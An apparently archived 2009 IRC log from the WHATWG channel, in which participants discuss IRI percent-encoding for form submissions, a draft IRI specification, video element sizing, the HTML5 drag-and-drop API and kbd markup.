[17:01:02.0000] <mitnavn_>
But is there anyone not switching?

[17:01:03.0000] <gsnedders>
/me blatantly needs to get onto saner living hours

[17:01:04.0000] <gsnedders>
mitnavn_: In CET? No.

[17:05:00.0000] <masinter>
i had a long discussion with Maciej about error handling in IRI processing, but it's not in th elog

[17:05:01.0000] <masinter>
well and Hixie, wonder what might have happened.

[17:05:02.0000] <gsnedders>
krijnh keeps on dying

[17:06:00.0000] <gsnedders>
If you (or anyone else can) email a copy of logs to krijn, then he can add them

[17:08:00.0000] <masinter>
i wish i'd kept it, it was a good case and relevant to the IRI spec

[17:09:00.0000] <annevk42>
masinter, several people here keep private logs; they should be able to help krijnh fix the logs

[17:10:00.0000] <masinter>
all discussions are destined to be repeated anyway, aren't they?

[17:10:01.0000] <annevk42>
well, there's that too :)

[17:10:02.0000] <masinter>
i think the case was about why it was a good idea not to specify precisely how illegal IRIs should be handled 

[17:10:03.0000] <annevk42>
anyway, you were right about Europe, I need to fetch some sleep :)

[17:10:04.0000] <annevk42>
nn

[17:11:00.0000] <gsnedders>
nighty

[17:13:00.0000] <masinter>
if you have an IRI http://XXXZ/ where Z isn't a valid input to the punycode conversion algorithm, that it was good to say that the result should not result in a valid domain name in a URI, but leave it open whether the processor might signal an error or otherwise replace the domain name with something that was guaranteed not to be valid

[17:13:01.0000] <masinter>
signalling an error may be preferable in cases where you are, for example, doing resolution, but there are legitimate applications which cannot signal errors

[17:15:00.0000] <masinter>
back later

[20:03:00.0000] <GPHemsley>
annevk42: Are you aware that the "Changed attributes" section of html5-diff is not capitalized like the rest of the sections?

[23:23:00.0000] <masinter>
I'm trying to figure out about percent-encoding the query component of IRIs in browsers, and maybe it's late, but it seems there is no good normative advice to give if the percent-encoding is delayed until the query-IRI is interpreted

[23:24:00.0000] <masinter>
it would seem like asking browsers to percent-encode the form data using the document character set BEFORE the IRI (with query) is constructed would give more consistent results

[23:25:00.0000] <masinter>
at least in the case where the document character set isn't Unicode-based

[23:25:01.0000] <masinter>
browsers might have to change their behavior in constructing the IRI-with-query-added, but the results would be more consistent and fewer bugs, and it wouldn't affect interpretation of any existing web pages

[00:17:00.0000] <othermaciej>
masinter: what particular change do you have in mind relative to what was in the Web Address draft?

[00:21:00.0000] <othermaciej>
masinter: %-encoding the query part of the (pseudo)-IRI has to use the document encoding no matter where it comes from originally - it could be a result of form submission, or it could be present literally on the page as an href attribute, or it could be presented to an API such as assigning location

[00:21:01.0000] <othermaciej>
masinter: so it has to happen at the time you resolve the address (or at the time you convert it to a URI, if that is immediately after)

[00:21:02.0000] <othermaciej>
masinter: this means the rules have to diverge from processing as an IRI, unless the document encoding is UTF-8

[00:33:00.0000] <Hixie>
othermaciej: did you ever end up sending those summaries of the telecons that you mentioned you were going to send?

[00:34:00.0000] <othermaciej>
Hixie: no, but I will start doing it this week

[00:35:00.0000] <othermaciej>
last time I chaired the telecon I had to get on a plane immediately after

[00:35:01.0000] <othermaciej>
I don't think anything important was overlooked though

[00:42:00.0000] <Hixie>
othermaciej: i couldn't tell from the last three meetings' minutes whether there was anything i needed to know about for the spec

[00:42:01.0000] <Hixie>
any new feedback, plans that would affect the spec, or whatever

[00:42:02.0000] <othermaciej>
Hixie: there was not

[00:43:00.0000] <othermaciej>
the topics involved checking on people's actions (which may someday have indirect influence on the spec), closing out tracker issues (which reduces the possibility of needing further changes), and creating task forces

[00:43:01.0000] <othermaciej>
in the most recent telecon we discussed the Origin header and I mentioned your plan to either replace it with Sec-From or remove it

[00:43:02.0000] <othermaciej>
(since the end of the month is closing in I'm assuming remove is more likely)

[00:46:00.0000] <Hixie>
k

[00:46:01.0000] <Hixie>
i wonder if i should create a some task forces to

[00:46:02.0000] <Hixie>
o

[00:48:00.0000] <Hixie>
maybe i should have a summary="" annihilation task force

[00:48:01.0000] <othermaciej>
if you feel that would be a valuable use of your time, be my guest

[00:49:00.0000] <Hixie>
we could have a t-shirts made, "improving accessibility by research instead of dogmatism" or something

[00:49:01.0000] <Hixie>
maybe something more pithy

[00:52:00.0000] <hsivonen>
wow. according to roc's blog, MS implemented an IE6 mode for their authoring tool without actually using IE6

[00:53:00.0000] <hober>
Hixie: i7g a11y b0y r6h i5d o0f d7m

[01:14:00.0000] <jgraham>
hsivonen: Yeah. I'm glad I wasn't an engineer who went in one morning to be told "we want you to reimplement IE6. Yes, from scratch. No, with all the same quirks"

[01:19:00.0000] <masinter`>
missed some context here

[01:20:00.0000] <masinter`>
%-encoding the query part only has to use the document encoding when the pseudo-IRI is formed in the first place, rather than forming an IRI first and then %-encoding the result when trying to convert the IRI to URI (or, rather, URI-components)

[01:21:00.0000] <annevk42>
note that any input to the URL parsing algorithm is most likely UTF-16 and almost definitely Unicode based

[01:22:00.0000] <masinter`>
not sure how that's relevant, but sure

[01:22:01.0000] <annevk42>
well, you mentioned earlier about percent-encoding according to the relevant character earlier; I'm just saying that's not what's happening now

[01:22:02.0000] <masinter`>
i didn't think it was what was happening now

[01:23:00.0000] <annevk42>
ah right, you suggested it could be changed?

[01:23:01.0000] <masinter`>
what's happening now is a mess, inconsistent, and fragile

[01:24:00.0000] <annevk42>
it's highly unlikely that what I described in my first sentence will change

[01:24:01.0000] <masinter`>
yes, to propose that normative correct behavior for constructing pseudo-IRIs based on form submission should do the percent-encoding at the time the pseudo-IRI is constructed

[01:25:00.0000] <annevk42>
but maybe I just don't understand what you're proposing since I'm not familiar with pseudo-IRIs and such

[01:25:01.0000] <masinter`>
in the special case of http URIs and when the document character encoding isn't UTF-8 or UTF-16

[01:25:02.0000] <masinter`>
well, say you have a form in a a page that is ISO-8859-1

[01:25:03.0000] <GPHemsley>
annevk42: Did you get my message earlier?

[01:25:04.0000] <masinter`>
and you click submit on the form, and some of the form data is typed in, not in ASCII

[01:26:00.0000] <masinter`>
and it constructs an IRI and then interprets the IRI

[01:26:01.0000] <annevk42>
GPHemsley, yes

[01:26:02.0000] <GPHemsley>
k

[01:26:03.0000] <annevk42>
GPHemsley, can't really fix it now, but will do hopefully later

[01:26:04.0000] <masinter`>
the form construction and IRI interpretation happens all during the uesr interaction

[01:26:05.0000] <GPHemsley>
annevk42: Sounds good

[01:26:06.0000] <masinter`>
the IRI may be available to scripting? I'm not sure

[01:27:00.0000] <masinter`>
pseudo-IRI constructed as a result of form processing

[01:27:01.0000] <annevk42>
not the URI, but the things the user has typed in will be

[01:27:02.0000] <masinter`>
huh?

[01:27:03.0000] <annevk42>
and what the user has typed in will be encoded as UTF-16 or some such typically

[01:27:04.0000] <annevk42>
masinter, what the user types in is exposed to script

[01:28:00.0000] <masinter`>
before the pseudo-IRI is constructed

[01:28:01.0000] <annevk42>
the URL is constructed at submission, so yes

[01:28:02.0000] <masinter`>
but at some point an IRI is constructed from the user input

[01:29:00.0000] <masinter`>
currently the IRI is constructed by using the unicode of the input directly

[01:30:00.0000] <masinter`>
and the burden is on the IRI interpretation to then percent-encode the result by remembering the document character set of the origin of the IRI

[01:30:01.0000] <annevk42>
well, it's an input to the resolving algorithm

[01:31:00.0000] <masinter`>
the IRI could be constructed by percent-encoding the form data in the query part, using the IRI's associated character encoding at the time of constructing the IRI

[01:32:00.0000] <masinter`>
this IRI is never stored because it's passed directly to IRI resolution

[01:32:01.0000] <annevk42>
if you can figure out the query part while not properly parsing the URL I suppose you can do that

[01:34:00.0000] <masinter`>
the query part is constructed, not 'figured out'

[01:34:01.0000] <masinter`>
if you mean 'parsed and interpreted' as figuring out

[01:37:00.0000] <masinter`>
i'll be back in the morning

[01:46:00.0000] <masinter`>
new version of iri 'fork' document for beating up http://larry.masinter.net/iribis-hack.html

[01:55:00.0000] <Hixie>
that doesn't seem to be anything like what webaddresses did, unless i'm missing something

[01:57:00.0000] <Hixie>
where's the definition of how to resolve a url given another url with, e.g. the encoding changing from utf-16 to utf-8, and the document base address having an effect, and backslashes being changed to slashes, etc?

[01:57:01.0000] <Hixie>
also missing seems to be the algorithm for parsing an arbitrary strings into components

[01:57:02.0000] <Hixie>
unless again i'm missing something

[01:57:03.0000] <Hixie>
also it seems to be contrary to the goals of the effort to have these rules be in a separate section... shouldn't they just be the rules that apply to all UAs?

[01:57:04.0000] <Hixie>
surely we don't want different UAs doing different things

[02:02:00.0000] <Hixie>
it also seems to lack a definition of "absolute url" that works for invalid iris

[02:04:00.0000] <masinter`>
i think you're missing something

[02:05:00.0000] <masinter`>
the backslash question is listed as an issue

[02:05:01.0000] <Philip`>
Is there an online version of HTML5 that defines the details of what the document base URL is?

[02:05:02.0000] <masinter`>
the goal of this document is not to provide a line-for-line replacement for the webaddress document

[02:05:03.0000] <Hixie>
oh

[02:06:00.0000] <Hixie>
that could be a problem

[02:06:01.0000] <masinter`>
it's to fix IRIs so that HTML can make a normative reference to it

[02:06:02.0000] <Hixie>
since that's what i'm looking for :-)

[02:06:03.0000] <Hixie>
well whatever happens i need the following:

[02:07:00.0000] <masinter`>
the goal is to allow a definition of IRI that doesn't need overriding or a willful violation

[02:07:01.0000] <Philip`>
/me finds it in http://www.w3.org/TR/2009/WD-html5-20090423/

[02:08:00.0000] <masinter`>
and to get IDNA and the IRI folks to agree to the changes necessary

[02:08:01.0000] <masinter`>
so IDNA needs to bless it, as well as Martin and Roy

[02:08:02.0000] <Hixie>
* a definition of a valid IRI that handles encodings other than UTF-8 (e.g. saying that in non-UTF-8 contexts, the query needs to not be non-ASCII)

[02:08:03.0000] <masinter`>
IRIs aren't defined in terms of encodings

[02:08:04.0000] <masinter`>
an IRI is a sequence of characters, not of octets

[02:08:05.0000] <Hixie>
* a definition of absolute IRI that handles having invalid strings be absolute, e.g. http://www.example.com/%X being an "absolute IRI"

[02:08:06.0000] <masinter`>
single percent was added to the IRI bnf

[02:09:00.0000] <masinter`>
and whether something is absolute or relative should be determined by whether there's a scheme

[02:09:01.0000] <masinter`>
but whether something is a 'valid IRI' will be narrower than what browsers do

[02:09:02.0000] <Hixie>
* an algorithm that defines how to take an arbitrary string (including one that isn't a valid IRI of any form) and get out the scheme, host, port, hostport, path, query, fragment, and host-specific (as those were defined in [WEBADDRESSES])

[02:10:00.0000] <masinter`>
the algorithm for getting out those parts are in the document

[02:10:01.0000] <masinter`>
section 3.2

[02:10:02.0000] <Hixie>
* an algorithm that takes an arbitrary string, an encoding, and an absolute IRI (as defined above) and returns an absolute IRI

[02:11:00.0000] <masinter`>
the specification of a protocol element can be done by providing syntax and processing rules without using an algorithm

[02:11:01.0000] <Hixie>
* the algorithm to get the document Web base address, again as in [WEBADDRESSES]

[02:11:02.0000] <Hixie>
...and where all these algorithms are such that the browser vendors are willing to implement them exactly, with no deviations whatsoever

[02:11:03.0000] <masinter`>
the document web base address is a feature of the language in which the IRI is embedded and the method of retrieving it, not a feature of the IRI itself

[02:12:00.0000] <masinter`>
I know more than this document is needed

[02:13:00.0000] <masinter`>
but getting at least the terminology and direction is a prerequisite to not having IRIs in web browsers work differently or be spec'd differently than IRIs in email, voice over IP, instant messaging, newsfeeds, and all of the other standards that need IRIs

[02:13:01.0000] <Hixie>
what is section 7 for then?

[02:14:00.0000] <masinter`>
you don't think section 7 is useful?

[02:14:01.0000] <masinter`>
what part of section 7 do you object to?

[02:14:02.0000] <masinter`>
section 1.3 contains terms that refer to section 7

[02:14:03.0000] <Hixie>
well it seems like if the goal is to just make IRIs work properly and interoperably, section 7 would presumably not need to exist

[02:14:04.0000] <hsivonen>
masinter`: speaking of section 7, section 7 of the current IRI RFC is marked as informative but uses "should". That's confusing.

[02:15:00.0000] <masinter`>
hmm, lots of documents have a section 7, but why should section 7 of the current IRI RFC have anything to do with section 7 of this rewrite of Martin's internet draft?

[02:15:01.0000] <masinter`>
/me wonders if the HTML5 document has a section 7

[02:16:00.0000] <masinter`>
the document contains an extensive writeup of the goals

[02:16:01.0000] <masinter`>
section 12 lists the goals

[02:17:00.0000] <masinter`>
Maciej had some comments on the goals as I originally posted them, which I tried to incorporate or address

[02:18:00.0000] <Hixie>
i don't really understand section 3.2. What parts of it are normative? I don't see any RFC2119 terms, and it's not clear to me what "parse" means in this context

[02:18:01.0000] <Hixie>
parse how?

[02:19:00.0000] <Hixie>
does it mean "try to match the string against the abnf"? if so, against which production?

[02:19:01.0000] <Hixie>
surely the parsing of a URI shouldn't be based on scheme-specific rules? that would mean that the same URL would parse different based on whether the UA knew the scheme or not

[02:21:00.0000] <Hixie>
as a general comment, this is a difficult draft to follow. It's not clear for example where the HTML5 spec should hook in and how to follow from that entry point (wherever it is) to the nitty gritty with the "must" requirements for actually parsing something

[02:21:01.0000] <masinter`>
i need to patch in more of RFC 3986

[02:21:02.0000] <masinter`>
the major surgery was to move from "map IRI to URI and then parse according to RFC 3986 using greedy parsing" to "parse first, then map if you need to"

[02:22:00.0000] <masinter`>
but i need to pull in more of the RFC 3986 definition of what normative parsing is

[02:22:01.0000] <masinter`>
good catch

[02:23:00.0000] <masinter`>
the document with through lots of revisions with lots of comments from lots of groups, i agree it's hard to follow

[02:23:01.0000] <masinter`>
i did more surgery than martin is comfortable with, and wound up rewriting or rewording big chunks for clarity, but it needs a lot more

[02:24:00.0000] <hsivonen>
masinter`: I'm just whining about the standing IRI RFC.

[02:24:01.0000] <masinter`>
and i agree that hooking this into the HTML5 spec is some work, but frankly, even though this document has problems, some of the difficulty is certainly due to the structure of the HTML5 spec 

[02:25:00.0000] <hsivonen>
masinter`: "section 7" together with "IRI" reminded me

[02:25:01.0000] <masinter`>
i only worked on the first 9 versions of it, and Martin and Michel did the other 10 versions, so i blame them for all of the RFC's problems

[02:26:00.0000] <hsivonen>
masinter`: I hope the bug of using "should" in an informative section gets fixed in bis (I haven't checked if it has been fixed already)

[02:26:01.0000] <masinter`>
Martin and Michel did the first 5 versions of this document and I'm only on my second pass

[02:26:02.0000] <masinter`>
i think i got that one, but i'm sure there are tons of problems left

[02:27:00.0000] <masinter`>
this isn't going to get out of IETF until IDNA gets agreement on it

[02:27:01.0000] <Hixie>
masinter`: if there's anything i can do to make hooking html5 into it easier, let me know

[02:28:00.0000] <masinter`>
we probably should sort out the requirements and see if there's agreement on "what belongs in IRI/URI and what belongs in HTML"

[02:28:01.0000] <masinter`>
and see if we can get Fielding & Duerst & Klensin to go along

[02:29:00.0000] <masinter`>
and Vint said he would help with the IDNA coordination

[02:30:00.0000] <masinter`>
we probably need to update mailto: also

[02:30:01.0000] <masinter`>
and there might be changes needed to http URI

[02:30:02.0000] <masinter`>
isn't it common for browsers to have an option to send uTF8 paths?

[02:31:00.0000] <masinter`>
the previous method of converting from IRI to URI generically, parsing, and then selectively converting back to IRI basically is broken, it is likely information-lossy in some important cases

[02:32:00.0000] <masinter`>
so this draft at least turns IRI handling into something resembling what browsers do which is to parse first

[02:36:00.0000] <masinter`>
hsivonen: people try to be sticklers about MUST, MAY, SHOULD, but the notion of separating "Normative" from "Informative" isn't always followed in IETF documents, so reviewers might not notice it as much

[02:37:00.0000] <masinter`>
For me, the main thing is to make sure that you can really identify what it means to "implement" a "feature" and link that to normative requirements

[02:37:01.0000] <masinter`>
so that "interoperable implementations of every feature" means something

[02:37:02.0000] <masinter`>
http://larry.masinter.net/draft-ietf-newtrk-interop-reports-00.html

[02:40:00.0000] <masinter`>
Peter Saint-Andre actually tried to do that for XMPP (Jabber), http://xmpp.org/internet-drafts/draft-saintandre-xmpp-interop-report-00.html

[02:40:01.0000] <masinter`>
it would be interesting to look at HTML and think about what the "protocol feature set" would look like, and which of the normative requirements have anything to do with anything that could be tested.

[02:44:00.0000] <masinter`>
/me needs to sleep, will check back later

[02:44:01.0000] <Philip`>
/me likes being able to link feature tests to normative requirements

[02:45:00.0000] <Philip`>
http://philip.html5.org/tests/canvas/suite/tests/results.html tries to do that and is mostly successful

[02:54:00.0000] <AryehGregor>
Broken link: http://wiki.whatwg.org/wiki/FAQ#When_will_we_be_able_to_start_using_these_new_features.3F

[02:55:00.0000] <AryehGregor>
Hmm.

[02:55:01.0000] <AryehGregor>
Is it?

[02:55:02.0000] <AryehGregor>
Yeah . . .

[02:56:00.0000] <Philip`>
"namespace deceleration attributes" - quick, don't let those speeding namespaces get away!

[02:56:01.0000] <AryehGregor>
Ah, there we go: http://wiki.whatwg.org/index.php?title=FAQ&diff=4024&oldid=3992

[03:23:00.0000] <EruditeHermit>
hi

[03:24:00.0000] <EruditeHermit>
can anyone help me with the video tag?

[03:24:01.0000] <EruditeHermit>
when I try to do width and height by %, It leaves a huge gap between the video and the controls

[03:24:02.0000] <EruditeHermit>
and it also leaves a huge gap between the above element and the video

[03:24:03.0000] <AryehGregor>
What exact code are you using, in which browser?

[03:24:04.0000] <EruditeHermit>
firefox

[03:25:00.0000] <EruditeHermit>
3.5

[03:26:00.0000] <EruditeHermit>
http://pastebin.com/m6eb15836

[03:28:00.0000] <AryehGregor>
The width and height attributes don't accept percentage values, AFAICT.  They're pixel values.  http://www.whatwg.org/specs/web-apps/current-work/multipage/the-map-element.html#attr-dim-width

[03:29:00.0000] <AryehGregor>
Also, the align attribute doesn't work on <video>.

[03:29:01.0000] <AryehGregor>
You need to use CSS.

[03:29:02.0000] <AryehGregor>
Do percentage widths and heights even work on <img>?

[03:29:03.0000] <EruditeHermit>
if I do style="width height align etc does it work?

[03:29:04.0000] <EruditeHermit>
I get the same problem using css height and width in percentages

[03:31:00.0000] <AryehGregor>
Can you get the desired sizing with <img> or any other HTML element, or is this really specific to <video>?

[03:31:01.0000] <EruditeHermit>
I can get the desired sizing with div

[03:31:02.0000] <EruditeHermit>
let me try img

[03:32:00.0000] <EruditeHermit>
yeah img works fine

[03:33:00.0000] <AryehGregor>
I'm not sure of the answer offhand, sorry.  Maybe someone else will be able to answer.

[03:33:01.0000] <mookid>
you know

[03:33:02.0000] <mookid>
this still realy pisses me off

[03:34:00.0000] <mookid>
[13:31] <Hixie> yes but HTTP conneg, as previously discussed, is a bad idea

[03:34:01.0000] <mookid>
and that was almost a year ago

[03:34:02.0000] <Philip`>
That should have been plenty of time to calm down and accept the notion

[03:35:00.0000] <mookid>
it's a bullshit notion made by an ignorant fool

[03:35:01.0000] <mookid>
so no.

[03:35:02.0000] <mookid>
:)

[03:36:00.0000] <Philip`>
EruditeHermit: Is the desire for it to be 70% of the screen size?

[03:37:00.0000] <EruditeHermit>
yes

[03:37:01.0000] <EruditeHermit>
well 70% of the size of the container div

[03:38:00.0000] <EruditeHermit>
but that it will fit on a screen is my goal

[03:38:01.0000] <EruditeHermit>
so I want to use %

[03:40:00.0000] <Philip`>
EruditeHermit: Hmm, I'm not sure how CSS sizing is meant to interact with <video width height>

[03:40:01.0000] <Philip`>
I'd expect the CSS to be the same as for div/img/etc, but I have no idea how it'd be rendered

[03:41:00.0000] <EruditeHermit>
I don't want to specify pixel height and width because screens are so different these days

[03:45:00.0000] <AryehGregor>
EruditeHermit, <video style="width: 70%; height: 70%"> doesn't work?

[03:45:01.0000] <EruditeHermit>
it makes it smaller yes

[03:45:02.0000] <EruditeHermit>
but it leaves a huge gap between the element above and the video

[03:45:03.0000] <EruditeHermit>
and also if you have controls

[03:45:04.0000] <EruditeHermit>
there is a huge gap between the controls and the bottom of the video

[03:47:00.0000] <mookid>
ok hold on a second

[03:48:00.0000] <mookid>
Philip`: where does "URL decomposition IDL attributes" come from?

[03:49:00.0000] <Philip`>
mookid: Why should I know that?

[03:50:00.0000] <Philip`>
mookid: Anyway, I'd suggest trying http://whatwg.org/html5#url-decomposition-idl-attributes

[03:50:01.0000] <mookid>
no idea, sorry - trying to work out where a URL was decided to have a 'query' component

[03:51:00.0000] <Philip`>
(Definitions and headings get ids that are lowercased hyphenated strings, so they're usually easy to find that way)

[03:51:01.0000] <AryehGregor>
EruditeHermit, do you have a publicly-accessible page to look at, maybe?

[03:51:02.0000] <AryehGregor>
(although I have to go in a few minutes)

[03:51:03.0000] <AryehGregor>
I can't tell what's wrong from looking at the markup.

[03:53:00.0000] <EruditeHermit>
hmm

[03:54:00.0000] <EruditeHermit>
not sure I can do that in a few minutes

[03:54:01.0000] <EruditeHermit>
let me try though

[03:55:00.0000] <AryehGregor>
Maybe someone else can help when I leave.

[03:55:01.0000] <AryehGregor>
Good luck, anyway.

[03:55:02.0000] <EruditeHermit>
thanks

[03:55:03.0000] <EruditeHermit>
maybe i'll catch you tomorrow or something

[03:55:04.0000] <EruditeHermit>
how long before you leave?

[03:56:00.0000] <mookid>
Philip`: thanks I found the RFC I was looking for

[03:56:01.0000] <AryehGregor>
Um, I should be leaving now, actually.

[03:56:02.0000] <EruditeHermit>
ok

[03:57:00.0000] <EruditeHermit>
AryehGregor, thanks for helpingme

[04:15:00.0000] <krijn>
http://www.quirksmode.org/blog/archives/2009/09/the_html5_drag.html

[04:16:00.0000] <pesla>
</rant>

[04:17:00.0000] <Hixie>
/me commented already

[04:22:00.0000] <Philip`>
He seems to have a peculiarly strong reaction to the need to write two lines of code to disable some events

[04:23:00.0000] <NetBen>
and he's right..

[04:24:00.0000] <Hixie>
yeah it is a pretty horrible api

[04:24:01.0000] <Hixie>
but i'm sure none of the people arguing in favour of decentralised extensibility will learn the same lesson from this as i did...

[04:25:00.0000] <NetBen>
name calling here and there is a bit... meh tho

[04:32:00.0000] <Lachy>
if you ignore the unnecessary swearing and insults, he does appear to make some valid points about it.

[04:33:00.0000] <Lachy>
it's a shame there's not much we can do about it without breaking compat

[04:33:01.0000] <jgraham>
If only praise for _not_ doing work was always this forthcoming

[04:34:00.0000] <Lachy>
jgraham, that praise won't last long if Opera decides to implement the API soon

[04:35:00.0000] <Lachy>
but I'm not sure how essential it is. I'm not aware of any sites that actually use it. Though, I assume there must be some, given that Firefox and Safari were motivated to implement it.

[04:42:00.0000] <jgraham>
Lachy: I wasn't being quite serious :)

[04:43:00.0000] <jgraham>
If no sites actually use it, why do we need IE compatibility?

[04:43:01.0000] <jgraham>
Are we assuming that they don't want to implement two D&D APIs?

[04:43:02.0000] <jgraham>
Has anyone asked them to copnfirm this?

[04:43:03.0000] <jgraham>
*confirm

[04:44:00.0000] <krijn>
Why not use something like Scriptaculous or jQuery UI as a baseline?

[04:46:00.0000] <jgraham>
krijn: Those APIs aren't obviously very DOM-like are they?

[04:46:01.0000] <krijn>
Why not?

[04:47:00.0000] <zcorpan>
if ie crashes when you try to use the api, it seems like it would degrade better in ie if it was a new incompatible api

[04:48:00.0000] <krijn>
Something like http://jqueryui.com/demos/draggable/, natively, would be awesome

[04:49:00.0000] <NetBen>
well as it currently is, people will use js frameworks for D&D, compat is not an issue

[04:49:01.0000] <krijn>
Agreed

[04:50:00.0000] <krijn>
So it's probably something for JS libs to implement

[04:50:01.0000] <krijn>
Why don't they use the native APIs in browsers that support it?

[04:50:02.0000] <krijn>
JohnResig? :)

[04:50:03.0000] <jgraham>
krijn: For example the DOM is typically event based rather than callback based

[04:51:00.0000] <jgraham>
Even though callback-based stuff is arguably a better fit for ecmascript

[04:51:01.0000] <NetBen>
ah, we need to differentiate between api and the way it's implemented

[04:51:02.0000] <krijn>
jgraham: UI is event based as well

[04:51:03.0000] <krijn>
(Mostly)

[04:51:04.0000] <krijn>
(Or I don't get your point :)

[04:53:00.0000] <jgraham>
krijn: I was just looking at the example element.draggable({"start":callback})

[04:53:01.0000] <jgraham>
which seems nice but not very DOM-like

[04:53:02.0000] <krijn>
Then create an ondragstart thingy for that

[04:53:03.0000] <NetBen>
addEventListener("dragstart", callback)

[04:54:00.0000] <jgraham>
krijn: Right, at which point you no longer have the jQuery-ui API

[04:54:01.0000] <krijn>
(Although there is already one like that ;)

[04:54:02.0000] <jgraham>
I agree that if we were to redesign this it would be good to take inspiration from js libaries and ensure that the'r functionaility could be replicated using the native api

[04:55:00.0000] <NetBen>
the troubs with the API is how the events work (or dont work) and some events being redundant, methods isn't really the issue I believe

[04:55:01.0000] <jgraham>
*their

[04:55:02.0000] <Philip`>
So you'd want to copy the concepts from JS libraries, but not the syntax?

[04:56:00.0000] <NetBen>
exactly

[04:56:01.0000] <NetBen>
and not really the concepts either actually, just the derived logic on how people actually use drag and drop

[04:57:00.0000] <krijn>
Yeah, JS libs can build wrappers/syntaxes around it

[04:57:01.0000] <NetBen>
instead of something that got obviously lost in outdated specs written in a time when bad practises where common and no one really had a clue on web

[04:57:02.0000] <NetBen>
standards

[04:57:03.0000] <NetBen>
I assume

[04:59:00.0000] <jgraham>
The IE API was never a standard. It was reverse engineered for HTML5 at a time when it was asssumed that IE would not put significant effort into HTML5 support

[04:59:01.0000] <NetBen>
so the spec is reverse enginered from IE specs?

[04:59:02.0000] <NetBen>
for compatibility?

[04:59:03.0000] <jgraham>
From IE behaviour

[05:00:00.0000] <jgraham>
for IE6 compatibility

[05:00:01.0000] <jgraham>
Which is still an argument in favour of the current spec but maybe a weaker one than it was in 2004

[05:01:00.0000] <Philip`>
Presumably there should still be a spec that says something compatible with existing content

[05:01:01.0000] <krijn>
Perhaps we need data about how much this API is used on the web? :)

[05:01:02.0000] <NetBen>
ok, chances of this spec actually being used in RL is?

[05:02:00.0000] <Philip`>
(though it might say nothing, if there's no existing content worth worrying about)

[05:02:01.0000] <jgraham>
Oh everyone else just said that

[05:02:02.0000] <NetBen>
=P

[05:02:03.0000] <NetBen>
WhatWG != WhatWH

[05:02:04.0000] <NetBen>
hopefully =P

[05:04:00.0000] <Lachy>
NetBen, what does "WhatWH" stand for?

[05:04:01.0000] <NetBen>
What we have 

[05:04:02.0000] <Lachy>
oh

[05:04:03.0000] <Philip`>
Millions of people use stuff like <body ondragstart="return false"> it seems

[05:05:00.0000] <jgraham>
Philip`: Is that to stop people "stealing" content?

[05:05:01.0000] <Philip`>
Not sure how many rely on it for important behaviour

[05:05:02.0000] <NetBen>
and it can stay that way np

[05:05:03.0000] <Philip`>
<body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" oncontextmenu="return false" ondragstart="return false" onselectstart ="return false" onselect="document.selection.empty()" oncopy="document.selection.empty()" onbeforecopy="return false" onmouseup="document.selection.empty()">

[05:06:00.0000] <Philip`>
jgraham: Looks like it might be, in most cases

[05:06:01.0000] <krijn>
I use that all the time

[05:06:02.0000] <krijn>
Clients want me to!

[05:06:03.0000] <krijn>
:)

[05:06:04.0000] <NetBen>
just say no...

[05:06:05.0000] <Philip`>
(That was from a .gov.cn site)

[05:08:00.0000] <Philip`>
krijn: I guess showing the clients how trivial it is to disable scripting in one's browser and freely copy text would just result in them telling you to turn all the text into images

[05:08:01.0000] <krijn>
(I wasn't serious, btw)

[05:10:00.0000] <Philip`>
Good, but clearly there's other people who want to prevent copying and other people who implement it :-(

[05:10:01.0000] <NetBen>
sounds like a good salespitch to sell pdf's

[05:11:00.0000] <Philip`>
What if they know about Acrobat's text selection tool?

[05:12:00.0000] <Philip`>
Hmm, I suppose PDFs probably support some flag to disable text selection

[05:12:01.0000] <NetBen>
basicly, you cant protect content

[05:12:02.0000] <NetBen>
then you have image to text translators

[05:12:03.0000] <gsnedders>
Make your content a huge CAPTCHA!

[05:13:00.0000] <Philip`>
so: What if they know about KPDF's "Obey DRM limitations" checkbox in its option dialog box?

[05:13:01.0000] <NetBen>
captcha has been broken already...

[05:13:02.0000] <krijn>
They should use WG telcons to spread their information!

[05:13:03.0000] <Lachy>
Philip`, that sounds like a preference that every use would obviously choose to leave enabled! :-)

[05:13:04.0000] <Philip`>
gsnedders: That would be excellent

[05:14:00.0000] <Philip`>
Lachy: I expect most will, since it's enabled by default and it very rarely prevents users doing what they want

[05:14:01.0000] <Philip`>
so they have no reason to change it

[05:15:00.0000] <Philip`>
I think I only ever found one PDF where it was an issue

[05:15:01.0000] <Lachy>
is that because most PDFs don't bother with DRM?

[05:15:02.0000] <Philip`>
Yeah

[05:15:03.0000] <Philip`>
or at least most PDFs that I ever look at

[05:15:04.0000] <jgraham>
/me tries email the list about the D^D API

[05:15:05.0000] <jgraham>
D&D, even

[05:16:00.0000] <jgraham>
silly swedish keyboard

[05:22:00.0000] <Mrmil>
Hi all, I have to ask, which one is more correct? <kbd>Alt</kbd> + <kbd>Shift</kbd> + <kbd>1</kbd> _or_ <kbd>Alt + Shift + 1</kbd> _or_ <kbd>Alt Shift 1</kbd>?

[05:28:00.0000] <Philip`>
Mrmil: The third seems wrong to me because the page should display the '+' characters to make it clear the keys are all pressed together

[05:29:00.0000] <Philip`>
The second seems wrong to me because it's ambiguous whether the + is meant to be a key just like all the others

[05:30:00.0000] <Philip`>
so if you had e.g. an Alt plus '+' key combination, the markup and presentation wouldn't distinguish them at all

[05:30:01.0000] <Philip`>
so the first seems more correct

[05:30:02.0000] <Philip`>
The HTML5 spec suggests <kbd><kbd>Alt</kbd> + ...</kbd> which seems more correcter since the whole thing is still marked up as keyboard input

[05:31:00.0000] <Philip`>
and then you can style the individual keys differently

[05:31:01.0000] <Mrmil>
I'm looking at it, looks probably like the most correct of all I mentioned above.

[05:34:00.0000] <Mrmil>
Who/what can actually use this information?

[05:35:00.0000] <Philip`>
CSS can style it in a visually distinctive way

[05:37:00.0000] <Mrmil>
Hm, thought there would be a better use for that...

[05:38:00.0000] <Philip`>
(Hmm, I vaguely remember seeing an example which used nested <kbd>s to draw little keyboard-like grey rectangles around keys, but I can't find it anywhere now...)

[05:39:00.0000] <Mrmil>
Well I do that, so now I'll have to change my styles because I'll have nested kbd's = nested rectangles :)

[05:41:00.0000] <Philip`>
Mrmil: The information conveyed by inline semantic elements seems to be very rarely used for anything other than styling, and <kbd> is of extremely limited relevance compared to most other elements so I wouldn't expect anyone to bother doing anything interesting with it

[05:42:00.0000] <Mrmil>
I see, thanks for feedback :)

[05:42:01.0000] <Philip`>
(It's only in HTML5 because some people use it (for the styling effect) and it's not actively harmful so there's no point getting rid of it, rather than because it's actually a valuable feature)

[05:42:02.0000] <zcorpan>
Mrmil: Alt+Shift+1 is correct

[05:44:00.0000] <Mrmil>
